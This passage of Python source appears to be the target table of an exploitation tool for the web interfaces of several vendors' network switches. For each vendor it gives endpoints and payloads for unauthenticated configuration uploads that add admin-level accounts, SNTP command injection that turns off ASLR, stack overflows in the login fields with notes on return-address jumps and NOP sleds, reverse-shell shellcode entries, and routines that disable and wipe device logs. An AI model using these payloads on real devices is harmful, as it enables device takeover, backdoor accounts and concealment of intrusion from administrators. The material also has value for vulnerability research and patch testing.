'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'', 'content':'dummy', 'content_check':'Image Signature Error', 'vulnerable': True, 'safe': True }, 'dispatcher.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'response':'502', 'Content-Type':False, 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username=admin&password='+ self.random_string(184) + '&login=1', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'json':False, 'authenticated': False, 'encryption':'md5', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------', 'add_uri':'/cgi-bin/httpuploadruncfg.cgi', 'del_query':'', 'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':False, 'authenticated': True, 'enable_uri':'/cgi-bin/dispatcher.cgi', 'enable_query':'sntp_enable=1&cmd=548', 'status_uri':'', 'inject_uri':'/cgi-bin/dispatcher.cgi', 'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550', 'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550', 'delete_uri':'/cgi-bin/dispatcher.cgi', 'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550', 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'sntp_enable=0&cmd=548', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'&login=1&_CMD_', 'sys_ping_post_check':'', 'sys_ping_post_SIGSEGV': False, # SIGSEGV ? 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1', 'log_settings_set_cmd':'&LOGGING_SERVICE=0',# Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'', # Clean RAM log CMD 'log_ramClear_SIGSEGV':False, # Clean RAM log SIGSEGV ? 'log_fileClear_cmd':'', # Clean FILE log CMD 'log_fileClear_SIGSEGV':False, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1', 'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123', 'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123', 'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123', 'sys_timeSettings_set_cmd_enable':'&sntp_enable=1', 'sys_timeSettings_set_cmd_disable':'&sntp_enable=0', 'sys_timeSettings_set_SIGSEGV': False, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': False, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1', 'workaround':True, # My LAB workaround 'stack':True, # False = use Heap, and there are no ASLR 'vulnerable': True, 'safe': True }, }, }, 'Pakedge': { 'vendor': 'Pakedgedevice & Software Inc', 'uri':'https://www.pakedge.com/products/switches/family/index.php', 'modulus_uri':'/cgi/get.cgi?cmd=home_login', 'info_leak':True, 'info_leak_JSON':True, 'info_leak_uri':'/cgi/get.cgi?cmd=home_login', 'xsid':False, 'xsid_uri':'/cgi/get.cgi?cmd=home_main', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'rsa', 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=home_loginStatus', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':True, 'disable_uri':'/cgi/set.cgi?cmd=log_global', 'disable_query':'{"_ds=1&empty=1&_de=1":{}}', 'status':'/cgi/get.cgi?cmd=log_global', 'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear', 'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}', 'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear', 'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httpuploadruncfg.cgi', 'check_uri':'/tmp/http_saverun_cfg', 'content':'/var/config/running-config', 'content_check':'/var/config/running-config', 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httprestorecfg.cgi', 'check_uri':'/tmp/startup-config', 'content':'/mnt/startup-config', 'content_check':'/mnt/startup-config', 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'/tmp/http_uploadfail', 'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround) 'content_check':'Copy: Illegal software format', 'vulnerable': True, 'safe': True }, 'login.cgi': { 'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)', 'authenticated': False, 'response':'file', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'check_uri':'/tmp/VUL.TXT', # We cannot control the content... 'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}', 'content_check':'2', 'vulnerable': True, 'safe': True }, 'set.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'authenticated': False, 'json':True, 'encryption':'clear', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------', 'add_uri':'/cgi/httpuploadruncfg.cgi', 'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}', 'del_uri':'/cgi/set.cgi?cmd=sys_acctDel', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':True, 'authenticated': True, 'enable_uri':'/cgi/set.cgi?cmd=sys_time', 'enable_query':'{"_ds=1&sntp=1&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=sys_time', 'inject_uri':'/cgi/set.cgi?cmd=sys_time', 'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}', 'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}', 'delete_uri':'/cgi/set.cgi?cmd=sys_time', 'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}', 'disable_uri':'/cgi/set.cgi?cmd=sys_time', 'disable_query':'{"_ds=1&sntp=0&_de=1":{}}', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { # Not vulnerable 'vulnerable': False, }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', #'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1', # Enable Logging CMD 'log_settings_set_cmd':'&empty=1', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'&target=0', # Clean RAM CMD 'log_ramClear_SIGSEGV':True, # Clean RAM SIGSEGV ? 'log_fileClear_cmd':'&target=1', # Clean FILE log CMD 'log_fileClear_SIGSEGV':True, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139', 'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139', 'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139', # CMD 'sys_timeSettings_set_cmd_enable':'&sntp=1', # Enable CMD 'sys_timeSettings_set_cmd_disable':'&sntp=0', # Disable CMD 'sys_timeSettings_set_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}', 'stack':True, # False = use Heap, and there are no ASLR 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, }, }, 'DrayTek': { 'vendor': 'DrayTek Corp.', 'modulus_uri':'/cgi/get.cgi?cmd=home_login', 'info_leak': True, 'info_leak_JSON':True, 'info_leak_uri':'/cgi/get.cgi?cmd=home_login', 'xsid':False, 'xsid_uri':'/cgi/get.cgi?cmd=home_main', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'rsa', 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=home_loginStatus', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':True, 'disable_uri':'/cgi/set.cgi?cmd=log_global', 'disable_query':'{"_ds=1&empty=1&_de=1":{}}', 'status':'/cgi/get.cgi?cmd=log_global', 'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear', 'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}', 'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear', 'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httpuploadruncfg.cgi', 'check_uri':'/tmp/http_saverun_cfg', 'content':'/var/config/running-config', 'content_check':'/var/config/running-config', 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httprestorecfg.cgi', 'check_uri':'/tmp/startup-config', 'content':'/mnt/startup-config', 'content_check':'/mnt/startup-config', 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'/tmp/http_uploadfail', 'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround) 'content_check':'Copy: Illegal software format', 'vulnerable': True, 'safe': True }, 'login.cgi': { 'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)', 'authenticated': False, 'response':'file', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'check_uri':'/tmp/VUL.TXT', # We cannot control the content... 'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}', 'content_check':'1', 'vulnerable': True, 'safe': True }, 'set.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'authenticated': False, 'json':True, 'encryption':'clear', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------', 'add_uri':'/cgi/httpuploadruncfg.cgi', 'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}', 'del_uri':'/cgi/set.cgi?cmd=sys_acctDel', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':True, 'authenticated': True, 'enable_uri':'/cgi/set.cgi?cmd=sys_time', 'enable_query':'{"_ds=1&sntp=1&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=sys_time', 'inject_uri':'/cgi/set.cgi?cmd=sys_time', 'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}', 'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}', 'delete_uri':'/cgi/set.cgi?cmd=sys_time', 'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}', 'disable_uri':'/cgi/set.cgi?cmd=sys_time', 'disable_query':'{"_ds=1&sntp=0&_de=1":{}}', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { # Not vulnerable 'vulnerable': False, }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', #'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1', # Enable Logging CMD 'log_settings_set_cmd':'&empty=1', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'&target=0', # Clean RAM CMD 'log_ramClear_SIGSEGV':True, # Clean RAM SIGSEGV ? 'log_fileClear_cmd':'&target=1', # Clean FILE log CMD 'log_fileClear_SIGSEGV':True, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&dlsType=0', 'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&dlsType=0', 'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139&dlsType=0', # CMD 'sys_timeSettings_set_cmd_enable':'&sntp=1', # Enable CMD 'sys_timeSettings_set_cmd_disable':'&sntp=0', # Disable CMD 'sys_timeSettings_set_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}', 'stack':True, # False = use Heap, and there are no ASLR 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, }, }, 'Cerio': { 'vendor': 'CERIO Corp.', 'modulus_uri':'/cgi/get.cgi?cmd=home_login', 'info_leak': False, 'info_leak_JSON':True, 'info_leak_uri':'/cgi/get.cgi?cmd=home_login', 'xsid':False, 'xsid_uri':'/cgi/get.cgi?cmd=home_main', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'rsa', 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=home_loginStatus', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':True, 'disable_uri':'/cgi/set.cgi?cmd=log_global', 'disable_query':'{"_ds=1&empty=1&_de=1":{}}', 'status':'/cgi/get.cgi?cmd=log_global', 'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear', 'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}', 'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear', 'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadbakcfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload "backup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httpuploadbakcfg.cgi', 'check_uri':'/tmp/startup-config', 'content':'/mntlog/startup-config', # /mntlog instead of /mnt to verify 'content_check':'/mntlog/startup-config', # /mntlog instead of /mnt to verify 'vulnerable': True, 'safe': True }, 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httpuploadruncfg.cgi', 'check_uri':'/tmp/http_saverun_cfg', 'content':'/var/config/running-config', 'content_check':'/var/config/running-config', 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httprestorecfg.cgi', 'check_uri':'/tmp/startup-config', 'content':'/mnt/startup-config', 'content_check':'/mnt/startup-config', 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'/tmp/http_uploadfail', 'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround) 'content_check':'Copy: Illegal software format', 'vulnerable': True, 'safe': True }, 'login.cgi': { 'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)', 'authenticated': False, 'response':'file', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'check_uri':'/tmp/VUL.TXT', # We cannot control the content... 'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}', 'content_check':'1', 'vulnerable': True, 'safe': True }, 'set.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'authenticated': False, 'json':True, 'encryption':'clear', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------', 'add_uri':'/cgi/httpuploadruncfg.cgi', 'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}', 'del_uri':'/cgi/set.cgi?cmd=sys_acctDel', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':True, 'authenticated': True, 'enable_uri':'/cgi/set.cgi?cmd=sys_time', 'enable_query':'{"_ds=1&sntp=1&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=sys_time', 'inject_uri':'/cgi/set.cgi?cmd=sys_time', 'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}', 'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}', 'delete_uri':'/cgi/set.cgi?cmd=sys_time', 'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}', 'disable_uri':'/cgi/set.cgi?cmd=sys_time', 'disable_query':'{"_ds=1&sntp=0&_de=1":{}}', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'sys_ping_post_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', #'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1', # Enable Logging CMD 'log_settings_set_cmd':'&empty=1', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'&target=0', # Clean RAM CMD 'log_ramClear_SIGSEGV':True, # Clean RAM SIGSEGV ? 'log_fileClear_cmd':'&target=1', # Clean FILE log CMD 'log_fileClear_SIGSEGV':True, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&dlsType=0', 'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&dlsType=0', 'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139&dlsType=0', # CMD 'sys_timeSettings_set_cmd_enable':'&sntp=1', # Enable CMD 'sys_timeSettings_set_cmd_disable':'&sntp=0', # Disable CMD 'sys_timeSettings_set_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}', 'stack':True, # False = use Heap, and there are no ASLR 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, }, }, 'Abaniact': { 'vendor': 'Abaniact', 'modulus_uri':'', 'info_leak':False, 'info_leak_JSON':False, 'info_leak_uri':'', 'xsid':False, 'xsid_uri':'', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':False, 'encryption':'clear', 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'query':'username=USERNAME&password=PASSWORD&login=1', 'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547', 